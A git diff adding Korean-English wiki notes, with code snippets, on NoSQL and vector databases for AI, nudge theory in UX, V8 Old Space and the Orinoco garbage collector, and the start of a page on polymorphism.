- Adjacent: [[Turbopack]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 boilerplate (route, action, layout) 의 generate, server/client split 의 propose, migration 의 plan.
|
||||
**언제 X**: 매 design system, brand UX, perf budget 의 final call — human/team judgment.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **All client components**: 매 "use client" 의 root = SSR benefit lose.
|
||||
- **No Suspense boundary**: 매 single slow fetch 의 entire page block.
|
||||
- **Server action 의 secret leak**: 매 closure 의 sensitive data 의 client bundle inclusion.
|
||||
- **Cache without tags**: 매 stale forever or 매 manual purge hell.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Next.js 16 docs, Vercel blog 2026, React 19 release notes).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Next.js 16 App Router + RSC + Server Actions patterns |
|
||||
+230
@@ -0,0 +1,230 @@
|
||||
---
|
||||
id: wiki-2026-0508-nosql-databases-in-ai
|
||||
title: NoSQL Databases in AI
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [NoSQL for AI, Vector DB, Document Store AI]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [nosql, ai, vector-db, mongodb, redis, rag]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: python
|
||||
framework: mongodb-redis-pinecone
|
||||
---
|
||||
|
||||
# NoSQL Databases in AI
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 AI workload = embedding + metadata + cache; 매 NoSQL 의 each layer 의 fit"**. 2026 RAG / agent stack 의 매 standard: vector DB (Pinecone/Qdrant/pgvector) + document store (MongoDB) + KV cache (Redis). 매 schema flexibility + horizontal scale 의 LLM-era natural fit.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 NoSQL family + AI role
|
||||
- **Vector**: embedding similarity (RAG, recommendation). Pinecone, Qdrant, Weaviate, Milvus.
|
||||
- **Document**: chat history, agent state, structured output. MongoDB, CouchDB.
|
||||
- **KV / Cache**: prompt cache, semantic cache, session. Redis, DragonflyDB.
|
||||
- **Graph**: knowledge graph, entity link. Neo4j, ArangoDB.
|
||||
- **Wide-column**: time-series telemetry, traces. Cassandra, ScyllaDB.
|
||||
|
||||
### 매 access pattern
|
||||
- **Embed + ANN search**: HNSW / IVF index, top-k cosine.
|
||||
- **Metadata filter + vector**: hybrid search.
|
||||
- **TTL cache**: prompt → response 의 24h cache.
|
||||
- **Append-only chat log**: doc store + per-user shard.
|
||||
|
||||
### 매 응용
|
||||
1. RAG: vector + document hybrid.
|
||||
2. Agent memory: document (short) + vector (long-term).
|
||||
3. Personalization: KV (recent) + graph (relations).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Pinecone (managed vector)
|
||||
```python
|
||||
from pinecone import Pinecone, ServerlessSpec
|
||||
|
||||
pc = Pinecone(api_key=os.environ["PINECONE_API_KEY"])
|
||||
pc.create_index(
|
||||
name="docs",
|
||||
dimension=1536,
|
||||
metric="cosine",
|
||||
spec=ServerlessSpec(cloud="aws", region="us-east-1"),
|
||||
)
|
||||
idx = pc.Index("docs")
|
||||
|
||||
idx.upsert(vectors=[
|
||||
{"id": "doc1", "values": embed("Hello world"),
|
||||
"metadata": {"source": "intro.md", "section": "overview"}},
|
||||
])
|
||||
|
||||
res = idx.query(
|
||||
vector=embed("greeting example"),
|
||||
top_k=5,
|
||||
filter={"source": {"$eq": "intro.md"}},
|
||||
include_metadata=True,
|
||||
)
|
||||
```
|
||||
|
||||
### Qdrant (self-host)
|
||||
```python
|
||||
from qdrant_client import QdrantClient
|
||||
from qdrant_client.models import VectorParams, Distance, PointStruct
|
||||
|
||||
client = QdrantClient("localhost", port=6333)
|
||||
client.recreate_collection(
|
||||
"docs",
|
||||
vectors_config=VectorParams(size=1536, distance=Distance.COSINE),
|
||||
)
|
||||
client.upsert("docs", points=[
|
||||
PointStruct(id=1, vector=embed(text), payload={"text": text, "source": "x.md"}),
|
||||
])
|
||||
|
||||
hits = client.search("docs", query_vector=embed(q), limit=5,
|
||||
query_filter={"must": [{"key": "source", "match": {"value": "x.md"}}]})
|
||||
```
|
||||
|
||||
### pgvector (Postgres + vector)
|
||||
```sql
|
||||
CREATE EXTENSION vector;
|
||||
CREATE TABLE docs (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
text TEXT,
|
||||
source TEXT,
|
||||
embedding vector(1536)
|
||||
);
|
||||
CREATE INDEX ON docs USING hnsw (embedding vector_cosine_ops);
|
||||
|
||||
-- hybrid query
|
||||
SELECT id, text FROM docs
|
||||
WHERE source = 'intro.md'
|
||||
ORDER BY embedding <=> $1::vector
|
||||
LIMIT 5;
|
||||
```
|
||||
|
||||
### MongoDB Atlas Vector Search
|
||||
```javascript
|
||||
import { MongoClient } from "mongodb";
|
||||
const col = new MongoClient(uri).db("ai").collection("docs");
|
||||
|
||||
await col.aggregate([
|
||||
{ $vectorSearch: {
|
||||
index: "doc_embedding",
|
||||
path: "embedding",
|
||||
queryVector: await embed(q),
|
||||
numCandidates: 100,
|
||||
limit: 5,
|
||||
filter: { source: "intro.md" },
|
||||
}},
|
||||
{ $project: { text: 1, score: { $meta: "vectorSearchScore" } } },
|
||||
]).toArray();
|
||||
```
|
||||
|
||||
### Redis semantic cache
|
||||
```python
|
||||
import redis, hashlib, json
|
||||
r = redis.Redis()
|
||||
|
||||
def cached_completion(prompt: str, ttl=3600):
|
||||
key = "ai:" + hashlib.sha256(prompt.encode()).hexdigest()
|
||||
if v := r.get(key): return json.loads(v)
|
||||
out = anthropic.messages.create(
|
||||
model="claude-opus-4-7",
|
||||
messages=[{"role":"user","content":prompt}],
|
||||
max_tokens=1024,
|
||||
)
|
||||
r.setex(key, ttl, json.dumps({"text": out.content[0].text}))
|
||||
return {"text": out.content[0].text}
|
||||
```
|
||||
|
||||
### Redis Vector (semantic cache, near-match)
|
||||
```python
|
||||
# RediSearch + HNSW
|
||||
from redis.commands.search.field import VectorField, TextField
|
||||
from redis.commands.search.indexDefinition import IndexDefinition
|
||||
|
||||
r.ft("ai_cache").create_index(
|
||||
[TextField("prompt"),
|
||||
VectorField("v", "HNSW", {"TYPE":"FLOAT32","DIM":1536,"DISTANCE_METRIC":"COSINE"})],
|
||||
definition=IndexDefinition(prefix=["cache:"]),
|
||||
)
|
||||
```
|
||||
|
||||
### Agent state (MongoDB)
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
c = MongoClient(uri).agents.runs
|
||||
|
||||
run_id = c.insert_one({
|
||||
"user_id": "u1",
|
||||
"messages": [{"role":"system","content":"..."}],
|
||||
"tool_calls": [],
|
||||
"status": "running",
|
||||
"created_at": datetime.utcnow(),
|
||||
}).inserted_id
|
||||
|
||||
c.update_one({"_id": run_id}, {"$push": {"messages": new_msg}})
|
||||
```
|
||||
|
||||
### Knowledge graph (Neo4j)
|
||||
```cypher
|
||||
MERGE (a:Person {name: 'Alice'})
|
||||
MERGE (c:Company {name: 'Acme'})
|
||||
MERGE (a)-[:WORKS_AT {since: 2020}]->(c)
|
||||
```
|
||||
|
||||
```python
|
||||
# answer "who at Acme works with Alice's manager?"
|
||||
session.run("""
|
||||
MATCH (a:Person {name: $n})-[:WORKS_AT]->(c)<-[:WORKS_AT]-(p)
|
||||
RETURN p.name LIMIT 10
|
||||
""", n="Alice")
|
||||
```
|
||||
|
||||
### Hybrid retrieval (BM25 + vector)
|
||||
```python
|
||||
keyword_hits = es.search(index="docs", query={"match": {"text": q}})
|
||||
vector_hits = idx.query(vector=embed(q), top_k=10).matches
|
||||
fused = reciprocal_rank_fusion([keyword_hits, vector_hits], k=60)
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Small RAG (<1M docs) | pgvector (single Postgres) |
|
||||
| Medium RAG (1M-100M) | Qdrant / Weaviate self-host |
|
||||
| Large / managed | Pinecone / MongoDB Atlas |
|
||||
| Agent state + chat | MongoDB document store |
|
||||
| Prompt cache | Redis (exact + semantic) |
|
||||
| Entity reasoning | Neo4j |
|
||||
|
||||
**기본값**: pgvector (start) → Qdrant (scale) + Redis cache + MongoDB for agent state.
|
||||
|
||||
## 🔗 Graph
|
||||
- 응용: [[RAG]] · [[Semantic Search|Semantic-Search]] · [[Agent-Memory]]
|
||||
- Adjacent: [[Embeddings]] · [[Hybrid-Search]] · [[pgvector]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 schema design 의 propose, query construction 의 boilerplate, hybrid-search blend 의 tune.
|
||||
**언제 X**: 매 capacity / cost projection, ANN index parameter (M, efConstruction) tuning — measure on real workload.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Vector DB only**: 매 metadata filter 의 ignore = 매 irrelevant top-k.
|
||||
- **No re-ranker**: top-50 vector hits 의 직접 LLM 의 feed = noise. Cohere Rerank or cross-encoder.
|
||||
- **Cache prompt verbatim**: 매 1-char diff = 매 cache miss. Use semantic cache.
|
||||
- **Mixing OLTP + vector**: 매 single Postgres 의 both = 매 index bloat. Separate.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Pinecone docs, Qdrant docs, MongoDB Atlas Vector Search 2025, "Designing Data-Intensive Applications", LangChain RAG cookbook).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — NoSQL families mapped to AI/RAG/agent workloads |
|
||||
@@ -0,0 +1,149 @@
|
||||
---
|
||||
id: wiki-2026-0508-nudge-theory
|
||||
title: Nudge Theory
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Nudge, Choice Architecture, Behavioral Nudge, 넛지]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [behavioral-economics, ux, design, psychology, choice-architecture]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: ux-design
|
||||
---
|
||||
|
||||
# Nudge Theory
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 choice architecture를 미세 조정하여 freedom of choice를 보존한 채 predictable한 방향으로 행동을 유도."**. Richard Thaler · Cass Sunstein의 *Nudge* (2008) — 2017 Thaler 노벨경제학상. 2026 현재 UX design · public policy · health intervention · LLM safety의 기반 framework.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 nudge 정의 (Thaler/Sunstein)
|
||||
- 매 small change in choice architecture
|
||||
- 매 predictable behavior change 유도
|
||||
- 매 옵션을 금지하지 않음 (libertarian paternalism)
|
||||
- 매 economic incentive 거의 없음 (cheap)
|
||||
|
||||
### 매 mechanism
|
||||
- **Default**: 매 default option 압도적 영향 (organ donation opt-in vs opt-out — 12% vs 99%).
|
||||
- **Salience**: 매 정보 visibility 증가.
|
||||
- **Framing**: 매 동일 정보, 다른 표현 (90% lean vs 10% fat).
|
||||
- **Social proof**: 매 "X% of users do Y".
|
||||
- **Friction**: 매 desired action은 쉽게, undesired는 hard.
|
||||
|
||||
### 매 응용
|
||||
1. UK Behavioral Insights Team — tax letter "9 of 10 pay on time" → 5% 회수율 증가.
|
||||
2. Spotify "Discover Weekly" → 매 default playlist으로 engagement 증가.
|
||||
3. Apple Health — 매 default 7000 step goal로 average +500 step.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Default opt-in for desired behavior
|
||||
```tsx
|
||||
// BAD: opt-in for 2FA
|
||||
<Checkbox label="Enable 2FA (recommended)" defaultChecked={false} />
|
||||
|
||||
// GOOD: default-on with easy opt-out
|
||||
<Checkbox
|
||||
label="Enable 2FA"
|
||||
defaultChecked={true}
|
||||
helperText="Recommended. You can disable in Settings."
|
||||
/>
|
||||
```
|
||||
|
||||
### Friction: confirm destructive action
|
||||
```tsx
|
||||
function DeleteAccountButton() {
|
||||
return (
|
||||
<ConfirmDialog
|
||||
title="Delete account?"
|
||||
requireType="DELETE my-username" // typed friction
|
||||
cooldownSeconds={5}
|
||||
>
|
||||
<Button variant="danger">Delete</Button>
|
||||
</ConfirmDialog>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Social proof nudge
|
||||
```tsx
|
||||
<PricingCard plan="pro" badge="Most popular — 73% of teams choose this" />
|
||||
```
|
||||
|
||||
### Framing — loss aversion
|
||||
```tsx
|
||||
// BAD (gain frame, weaker)
|
||||
<p>Save $120/year with annual billing</p>
|
||||
|
||||
// GOOD (loss frame, stronger; Tversky/Kahneman)
|
||||
<p>Stop paying $10/mo extra — switch to annual</p>
|
||||
```
|
||||
|
||||
### Salience — progress nudge
|
||||
```tsx
|
||||
function ProfileCompletion({ percent }: { percent: number }) {
|
||||
return (
|
||||
<Banner show={percent < 100}>
|
||||
Profile {percent}% complete — add a photo to reach 100%
|
||||
<ProgressBar value={percent} />
|
||||
</Banner>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Implementation intention prompt
|
||||
```tsx
|
||||
// "When X happens, I will do Y" — proven habit formation
|
||||
<Onboarding>
|
||||
<p>When will you exercise?</p>
|
||||
<Select options={["Morning", "Lunch", "Evening"]} />
|
||||
<p>Where?</p>
|
||||
<Input placeholder="Living room, gym..." />
|
||||
</Onboarding>
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| User benefits from default | opt-out default |
|
||||
| User must consciously choose | opt-in, no default |
|
||||
| Discourage harm | friction (confirm, delay) |
|
||||
| Encourage rare valuable action | salience + reminder |
|
||||
| Group conformity helpful | social proof |
|
||||
|
||||
**기본값**: transparent default + easy opt-out — 매 dark pattern과의 차별점.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Behavioral_Economics]] · [[Cognitive_Bias]]
|
||||
- 변형: [[Choice_Architecture]] · [[Habit_Loop]]
|
||||
- 응용: [[Micro-interactions]] · [[Gamification]]
|
||||
- Adjacent: [[FOMO (Fear of Missing Out)]] · [[Progressive-Disclosure]] · [[매몰_비용_오류_(Sunk_Cost_Fallacy)]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: UX flow 설계, public health/policy, habit-forming product, opt-in/opt-out 결정.
|
||||
**언제 X**: high-stakes informed consent (의료, 금융 — 매 explicit choice 필수), regulated decision (legal contract).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Dark pattern (sludge)**: 매 친 user가 아닌 친 vendor — Sunstein 본인이 *Sludge* (2021)로 비판.
|
||||
- **Hidden default**: 매 user 모르게 enable — opt-in의 transparency 무시.
|
||||
- **Manipulation > nudge**: 매 deception (e.g. fake countdown) — ethics 위반.
|
||||
- **Over-nudging**: 매 모든 화면에 nudge — banner blindness.
|
||||
- **No measurement**: 매 A/B test 없이 nudge — direction 불명.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Thaler/Sunstein *Nudge* 2008 / 2021 final ed., UK BIT trial reports, Sunstein *Sludge* 2021).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Nudge theory (Thaler/Sunstein) + UX patterns |
|
||||
@@ -0,0 +1,160 @@
|
||||
---
|
||||
id: wiki-2026-0508-old-space
|
||||
title: Old Space (V8)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Old Generation, Tenured Space, V8 Old Space, Major GC heap]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [v8, gc, memory, javascript, runtime]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: javascript
|
||||
framework: v8
|
||||
---
|
||||
|
||||
# Old Space (V8)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 V8 heap의 long-lived object 영역 — Young Gen에서 2번 생존 후 promote, Major GC (Mark-Compact / Mark-Sweep / Concurrent Marking) 대상."**. Generational hypothesis 기반 (Ungar 1984). 2026 현재 V8 13.x · Node 24 · Chrome 130+에서 Orinoco의 concurrent / parallel / incremental marking + Pointer Compression으로 pause time <1ms.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 V8 heap 구조
|
||||
- **New Space (Young Gen)**: 1-8MB, semi-space (Cheney scavenger), allocation 빠름.
|
||||
- **Old Space (Old Gen)**: 매 default unbounded (--max-old-space-size 제한), promote target.
|
||||
- **Code Space**: JIT compiled code.
|
||||
- **Map Space**: Hidden class (V8 maps).
|
||||
- **Large Object Space**: ≥ ~256KB single object.
|
||||
- **Read-Only Space**: immutable roots.
|
||||
|
||||
### 매 promotion 규칙
|
||||
- 매 Young Gen에서 minor GC 2번 survive → Old Space promote.
|
||||
- Large object (≥ kMaxRegularHeapObjectSize, ~256KB) → 직접 Old Space (LOS).
|
||||
|
||||
### 매 Major GC (Old Space) 알고리즘
|
||||
- **Mark-Compact**: full pause, fragmentation 제거.
|
||||
- **Concurrent Marking** (Orinoco): worker thread가 mark, main thread continue.
|
||||
- **Incremental Marking**: chunk별 mark, 사이사이 mutator 실행.
|
||||
- **Lazy Sweeping**: page별로 sweep on demand.
|
||||
|
||||
### 매 응용
|
||||
1. Node.js server — heap profiling으로 leak 추적 (`--inspect`, heapdump).
|
||||
2. Chrome — DevTools Memory tab의 retained size 분석.
|
||||
3. Performance tuning — `--max-old-space-size=4096`로 limit 조정.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Heap snapshot 생성 (Node.js)
|
||||
```javascript
|
||||
import { writeHeapSnapshot } from 'node:v8';
|
||||
import { performance } from 'node:perf_hooks';
|
||||
|
||||
process.on('SIGUSR2', () => {
|
||||
const file = `/tmp/heap-${Date.now()}.heapsnapshot`;
|
||||
writeHeapSnapshot(file);
|
||||
console.log('snapshot:', file);
|
||||
});
|
||||
// kill -USR2 <pid>
|
||||
```
|
||||
|
||||
### Inspect heap stats
|
||||
```javascript
|
||||
import v8 from 'node:v8';
|
||||
console.log(v8.getHeapSpaceStatistics());
|
||||
// [ { space_name: 'old_space', space_size, space_used_size, ... } ]
|
||||
|
||||
console.log(v8.getHeapStatistics());
|
||||
// { total_heap_size, used_heap_size, heap_size_limit, ... }
|
||||
```
|
||||
|
||||
### Force GC for measurement (--expose-gc)
|
||||
```javascript
|
||||
// node --expose-gc app.js
|
||||
function measureRetained(fn) {
|
||||
global.gc(); global.gc();
|
||||
const before = process.memoryUsage().heapUsed;
|
||||
const ref = fn();
|
||||
global.gc(); global.gc();
|
||||
const after = process.memoryUsage().heapUsed;
|
||||
return { ref, retained: after - before };
|
||||
}
|
||||
```
|
||||
|
||||
### Trace GC events
|
||||
```bash
|
||||
node --trace-gc --trace-gc-verbose app.js
|
||||
# [12345:0x...] [GC] 100ms: 50.0 (60.0) -> 30.0 (60.0) MB (Mark-Sweep) ...
|
||||
```
|
||||
|
||||
### Monitor old space in production (Prometheus)
|
||||
```javascript
|
||||
import client from 'prom-client';
|
||||
import v8 from 'node:v8';
|
||||
|
||||
const oldSpaceUsed = new client.Gauge({
|
||||
name: 'nodejs_v8_old_space_used_bytes',
|
||||
help: 'V8 old space used',
|
||||
});
|
||||
setInterval(() => {
|
||||
const old = v8.getHeapSpaceStatistics()
|
||||
.find(s => s.space_name === 'old_space');
|
||||
oldSpaceUsed.set(old.space_used_size);
|
||||
}, 5000);
|
||||
```
|
||||
|
||||
### Avoid old-space leak — WeakRef / WeakMap for cache
|
||||
```javascript
|
||||
const cache = new WeakMap(); // key not retained
|
||||
function compute(obj) {
|
||||
if (cache.has(obj)) return cache.get(obj);
|
||||
const v = expensive(obj);
|
||||
cache.set(obj, v);
|
||||
return v;
|
||||
}
|
||||
// obj GC'd → cache entry auto-removed
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Suspected memory leak | heap snapshot diff |
|
||||
| OOM under load | `--max-old-space-size=` increase + investigate |
|
||||
| Frequent major GC pause | reduce promotion rate (avoid long-lived churn) |
|
||||
| Cache growing forever | WeakMap / LRU bound |
|
||||
| Need pre-prod heap profile | `--inspect` + DevTools |
|
||||
|
||||
**기본값**: 매 default V8 settings — limit 변경은 측정 후.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[V8_엔진_힙_아키텍처|V8 Heap Architecture]] · [[Garbage_Collection]]
|
||||
- 변형: [[Mark-Sweep]] · [[Incremental_Marking]] · [[Generational_Hypothesis]]
|
||||
- 응용: [[Orinoco]] · [[Pointer_Compression]] · [[Memory_Leaks]]
|
||||
- Adjacent: [[Write Barrier|Write_Barrier]] · [[Snapshots]] · [[Reachability_Analysis]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: Node.js memory issue 분석, heap profiling, V8 internals 학습, GC tuning.
|
||||
**언제 X**: non-V8 runtime (Bun-JSC, Deno-V8 다르지만 비슷, Hermes는 별도), browser-only DOM leak (different territory).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Forgotten timer/listener**: 매 closure가 old space에 retain.
|
||||
- **Global cache without bound**: 매 monotonic growth → OOM.
|
||||
- **Large allocation in hot loop**: Young → Old promotion 폭증, frequent major GC.
|
||||
- **String concat in loop without builder**: 매 intermediate retained.
|
||||
- **`--max-old-space-size` blindly raised**: 매 leak hide, root cause 회피.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (V8 source `v8/src/heap/`, V8 blog Orinoco posts, Node.js v8 module docs 2026).
|
||||
- 신뢰도 A.
|
||||
- Duplicates: `Old_Space(Old_Generation).md` redirects here.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — canonical V8 Old Space doc + heap profiling patterns |
|
||||
@@ -0,0 +1,140 @@
|
||||
---
|
||||
id: wiki-2026-0508-orinoco
|
||||
title: Orinoco (V8 GC project)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [V8 Orinoco, Orinoco GC, Concurrent V8 GC]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [v8, gc, performance, concurrent-marking, runtime]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: cpp
|
||||
framework: v8
|
||||
---
|
||||
|
||||
# Orinoco
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 V8의 GC를 stop-the-world에서 incremental · concurrent · parallel multi-threaded GC로 전환한 multi-year 프로젝트."**. 2016년 시작, 2017-2019 Concurrent Marking · Parallel Scavenger · Lazy Sweeping 차례 도입. 2026 현재 V8 13.x base GC architecture가 Orinoco — pause time을 100ms+ → <1ms로 감소.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 핵심 기법
|
||||
- **Parallel Scavenger** (Young Gen): 매 multiple worker가 semi-space copy 병렬화.
|
||||
- **Concurrent Marking** (Old Gen): 매 worker thread가 mutator와 병행 mark — main thread는 거의 미 pause.
|
||||
- **Incremental Marking**: 매 mark phase를 여러 작은 chunk로 나눔.
|
||||
- **Parallel/Concurrent Compaction**: page별 evacuation 병렬화.
|
||||
- **Lazy Sweeping**: 매 sweep을 allocation 시점까지 지연.
|
||||
- **Black Allocation**: 매 marking 중 새 alloc은 black (skip).
|
||||
|
||||
### 매 write barrier 역할
|
||||
- 매 mutator가 마크된 object → 비마크 object 참조 추가 시 dirty card 표시.
|
||||
- 매 concurrent marker가 stale graph 처리.
|
||||
|
||||
### 매 응용
|
||||
1. Chrome — main thread jank 감소, smooth 60fps scroll.
|
||||
2. Node.js — large heap server에서 long pause 제거.
|
||||
3. Electron/VSCode — GUI responsiveness 유지.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Orinoco effect 측정 (Node.js)
|
||||
```bash
|
||||
# Major GC pause 분포
|
||||
node --trace-gc --trace-gc-verbose app.js 2>&1 \
|
||||
| grep "Mark-" | awk '{print $5}' \
|
||||
| sort -n | uniq -c
|
||||
# 2026 V8: 대부분 < 1ms, occasional 5ms
|
||||
```
|
||||
|
||||
### Disable concurrent marking (compare)
|
||||
```bash
|
||||
node --no-concurrent-marking --trace-gc app.js
|
||||
# pause time 명백히 증가 (10-50ms 종종)
|
||||
```
|
||||
|
||||
### Per-isolate GC stats
|
||||
```javascript
|
||||
import { getHeapStatistics } from 'node:v8';
|
||||
|
||||
const before = getHeapStatistics();
|
||||
heavyWorkload();
|
||||
const after = getHeapStatistics();
|
||||
console.log('major_gc count:', after.number_of_native_contexts);
|
||||
console.log('used:', (after.used_heap_size - before.used_heap_size) / 1e6, 'MB');
|
||||
```
|
||||
|
||||
### Performance.measureUserAgentSpecificMemory (Chrome)
|
||||
```javascript
|
||||
// In Chrome with COOP+COEP
|
||||
if (performance.measureUserAgentSpecificMemory) {
|
||||
const result = await performance.measureUserAgentSpecificMemory();
|
||||
console.log(result.bytes, result.breakdown);
|
||||
}
|
||||
```
|
||||
|
||||
### Reduce concurrent-marking pressure
|
||||
```javascript
|
||||
// Avoid: huge graph mutation in tight loop
|
||||
function reseat(arr, n) {
|
||||
for (let i = 0; i < n; i++) arr[i] = { ref: arr[(i+1) % n] };
|
||||
// many write barriers → marker work spike
|
||||
}
|
||||
// Prefer: build once, freeze
|
||||
const frozen = Object.freeze(buildGraph());
|
||||
```
|
||||
|
||||
### Inspect GC marking phase via perf_hooks
|
||||
```javascript
|
||||
import { PerformanceObserver } from 'node:perf_hooks';
|
||||
|
||||
const obs = new PerformanceObserver(list => {
|
||||
for (const e of list.getEntriesByType('gc')) {
|
||||
if (e.detail.kind === 2 /* MARK_SWEEP_COMPACT */)
|
||||
console.log('major GC:', e.duration.toFixed(2), 'ms');
|
||||
}
|
||||
});
|
||||
obs.observe({ entryTypes: ['gc'] });
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Long pause complaint (UI jank) | check Orinoco enabled (default), profile |
|
||||
| Embedded V8 (custom flags) | enable concurrent + incremental marking |
|
||||
| Constrained memory (IoT) | might disable concurrent (extra worker thread) |
|
||||
| Benchmarking | report w/ default flags + GC trace |
|
||||
|
||||
**기본값**: 매 default flags (Orinoco on) — 매 manual disable 회피.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Garbage_Collection]] · [[V8_엔진_힙_아키텍처|V8 Heap Architecture]]
|
||||
- 변형: [[Incremental_Marking]] · [[Concurrent_Marking]] · [[Mark-Sweep]]
|
||||
- 응용: [[Old_Space]] · [[Pointer_Compression]] · [[Write Barrier|Write_Barrier]]
|
||||
- Adjacent: [[Generational_Hypothesis]] · [[Snapshots]] · [[Multi-threaded Architecture]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: V8 GC internals 학습, Node.js/Chrome perf 분석, GC pause 회귀 추적.
|
||||
**언제 X**: non-V8 runtime (Hermes는 별도 GC), Java/Go GC (G1/ZGC/Shenandoah는 다른 design).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Disabling concurrent marking blindly**: 매 measurement 없이 — 보통 perf 악화.
|
||||
- **Huge mutation in hot loop**: 매 write barrier overload.
|
||||
- **Forcing `global.gc()` 빈번**: 매 production 절대 X — Orinoco가 알아서 함.
|
||||
- **Confusing minor (scavenge) and major (mark-sweep)**: 매 trace 해석 오류.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (V8 blog "Orinoco" series 2016-2019, V8 source `src/heap/`, Mathias Bynens & Benedikt Meurer talks 2017-2020).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Orinoco GC project (concurrent/parallel/incremental) |
|
||||
+146
@@ -0,0 +1,146 @@
|
||||
---
|
||||
id: wiki-2026-0508-polymorphism-다형성
|
||||
title: Polymorphism (다형성)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Polymorphism, 다형성, Polymorphism in Engine Architecture]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [oop, type-system, design, architecture]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: python-cpp-rust
|
||||
framework: oop
|
||||
---
|
||||
|
||||
# Polymorphism (다형성)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 same interface, 매 different behavior"**. Polymorphism은 매 하나의 symbol/call-site가 매 runtime 또는 compile-time에 매 여러 type에 대해 매 적절히 dispatch되는 매 type-system property. 매 1967 Strachey 분류 (parametric / ad-hoc) 이후 매 OOP / functional / trait-based 모든 paradigm의 매 backbone.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 4가지 form
|
||||
